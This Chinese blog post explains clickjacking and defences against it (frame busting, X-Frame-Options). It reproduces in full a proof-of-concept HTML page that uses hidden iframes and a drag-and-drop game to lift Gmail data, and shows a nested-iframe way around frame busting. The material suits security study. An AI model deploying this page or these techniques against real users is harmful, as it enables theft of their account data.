Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3037075
  • 博文数量: 167
  • 博客积分: 613
  • 博客等级: 中士
  • 技术积分: 5473
  • 用 户 组: 普通用户
  • 注册时间: 2011-09-13 21:35
个人简介

人, 既无虎狼之爪牙,亦无狮象之力量,却能擒狼缚虎,驯狮猎象,无他,唯智慧耳。

文章分类
文章存档

2015年(19)

2014年(70)

2013年(54)

2012年(14)

2011年(10)

分类: 网络与安全

2014-06-24 14:24:55

   ClickJacking(点击劫持)也是一种不容忽视的攻击威胁,尽管其要求更多的与用户的互动,因此增加了其攻击的成本,但是现实中确实可以应用到钓鱼、欺诈等攻击中。

一、什么是ClickJacking
   自己第一次接触这个名词,以为是类似于DNS中毒那样的恶意跳转,仔细看下去,才发现不是这么回事,其实是“障眼法”,准确地说,视觉上欺骗用户点击A,其实点击的是B,结果点击B之后达到了某种目的。基本的实现是利用HTML中的iframe标签,通过使其透明、不可见,在原始的网页上覆盖一层透明的新网页,通过调整iframe的大小和位置,使得其可以覆盖在原始网页的任何位置上。具体可以设置iframe标签的width、height属性,以及top、left的位置,同时将z-index的值设置为最大,以达到让iframe处于页面最上层,再通过设置opacity来控制iframe页面的透明程度,值为0时完全不可见。

二、ClickJacking的其他形式
   从基本的iframe出发,ClickJacking发展出许多不同的形式。比如借助Flash实施的点击劫持,比如借助图片覆盖实施的欺诈攻击,最为令人惊叹的应该是拖拽劫持和数据窃取了。2010年Paul Stone在BlackHat上发表了题为《Next Generation ClickJacking》的演讲,其拖拽劫持的思路是诱使用户从隐藏的不可见的iframe中“拖拽”出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。
   这里有个典型的例子,是国内大牛xisigr构造的一个针对Gmail的POC,大致过程是设计了一个海豹顶球的小游戏,每次用户点击皮球拖拽到海豹头上时都会触发相应的行为,这里在小球和海豹的头顶上都有隐藏的iframe,xisigr使用event.dataTransfer.getData('Text')来获取拖拽的数据,用户拖拽小球时实际选中了隐藏的iframe中的数据;放下小球时,把数据也放在了隐藏的iframe中,从而完成了一次数据窃取的过程。

   具体的实现代码如下:

点击(此处)折叠或打开

  1. <html> 
  2.   <head> 
  3.     <title> Gmail Clickjacking with drag and drop Attack Demo 
  4.     </title> 
  5.     <style> .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center; margin-top:350px;} 
  6.     </style> 
  7.     <script> function Init() { 
  8.                var source = document.getElementById("source"); 
  9.                var target = document.getElementById("target"); 
  10.                if (source.addEventListener) { 
  11.                  target.addEventListener("drop", DumpInfo, false); }
  12.                else { 
  13.                       target.attachEvent("ondrop", DumpInfo); 
  14.                     } 
  15.                              } 

  16.              function DumpInfo(event) { 
  17.                                          showHide_ball.call(this); 
  18.                                          showHide_ball_1.call(this); 
  19.                                          var info = document.getElementById("info"); 
  20.                                          info.innerHTML += "" + event.dataTransfer.getData('Text') + "
    "
    ; 
  21.                                       } 
  22.      
  23.              function showHide_frame() { 
  24.                                          var iframe_1 = document.getElementById("iframe_1"); 
  25.                                          iframe_1.style.opacity = this.checked ? "0.5": "0"; 
  26.                                          iframe_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");" 
  27.                                        } 

  28.              function showHide_text() { 
  29.                                          var text_1 = document.getElementById("target"); 
  30.                                          text_1.style.opacity = this.checked ? "0.5": "0"; 
  31.                                          text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");" 
  32.                                       } 

  33.              function showHide_ball() { 
  34.                                          var hide_ball = document.getElementById("hide_ball"); 
  35.                                          hide_ball.style.opacity = "0"; 
  36.                                          hide_ball.style.filter = "alpha(opacity=0)"; 
  37.                                       } 
  38.              function showHide_ball_1() { 
  39.                                            var hide_ball_1 = document.getElementById("hide_ball_1"); 
  40.                                            hide_ball_1.style.opacity = "1"; 
  41.                                            hide_ball_1.style.filter = "alpha(opacity=100)"; 
  42.                                         } 

  43.              function reload_text() { 
  44.                                       document.getElementById("target").value = ''; 
  45.                                     } 
  46.      </script> 
  47.     </head> 
  48.     <body onload="Init();"> 
  49.       <center> 
  50.         <h1> Gmail Clickjacking with drag and drop Attack </h1> </center> <img id="hide_ball" src=ball.png class="ball"> <div id="source"> <iframe id="iframe_1" src="" class="iframe_hidden" scrolling="no"> </iframe> </div> <img src=Dolphin.jpg class="Dolphin"> <div> <img id="hide_ball_1" src=ball.png class="ball_1"> </div> <div> <textarea id="target" class="text_area_hidden"> </textarea> </div> <div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;"> </div> <center> Note: Clicking "ctrl + a" to select the ball, then drag it to the <br> mouth of the dolphin with the mouse.Make sure you have logged into GMAIL. <br> </center> <br> <br> <div class="center"> <center> <center> <input id="showHide_frame" type="checkbox" onclick="showHide_frame.call(this);" /> <label for="showHide_frame"> Show the jacked I--Frame </label> | <input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" /> <label for="showHide_text"> Show the jacked Textarea </label> | <input type=button value="Replay" onclick="location.reload();reload_text();"> </center> <br><br> <b> Design by <a target="_blank" href=""> xisigr </a> </b> </center> </div> </body> </html>
三、防御ClickJacking
   最近的ClickJacking发展到了智能手机平台,开始出现“触屏劫持”,原理同以前一样,只是手机上貌似更加容易实施了。防御ClickJacking主要有两个思路,一个是针对iframe标签,进行处理,实施frame busting:

点击(此处)折叠或打开

  1. if (top.location != self.location)
  2. {
  3.     parent.location = self.location;
  4. }
    但是使用frame busting的保护是可以借助一些方法绕过的,比如上面方法可以使用嵌套多个iframe的方法绕过:

点击(此处)折叠或打开

  1. Attacker top frame:
  2. <iframe src="attacker2.html">
  3. Attacker sub-frame:
  4. <iframe src="">

    另外一个思路是使用一个HTTP头:X-Frame-Options,其有三个可选的值:
-1. DENY:浏览器拒绝当前页面加载任何iframe页面;
-2. SAMEORIGIN:只允许同源下的frame页面地址;
-3. ALLOW_FROM origin:允许自定义加载frame的页面地址

Reference:《白帽子讲WEB安全》,吴翰情著
阅读(6390) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~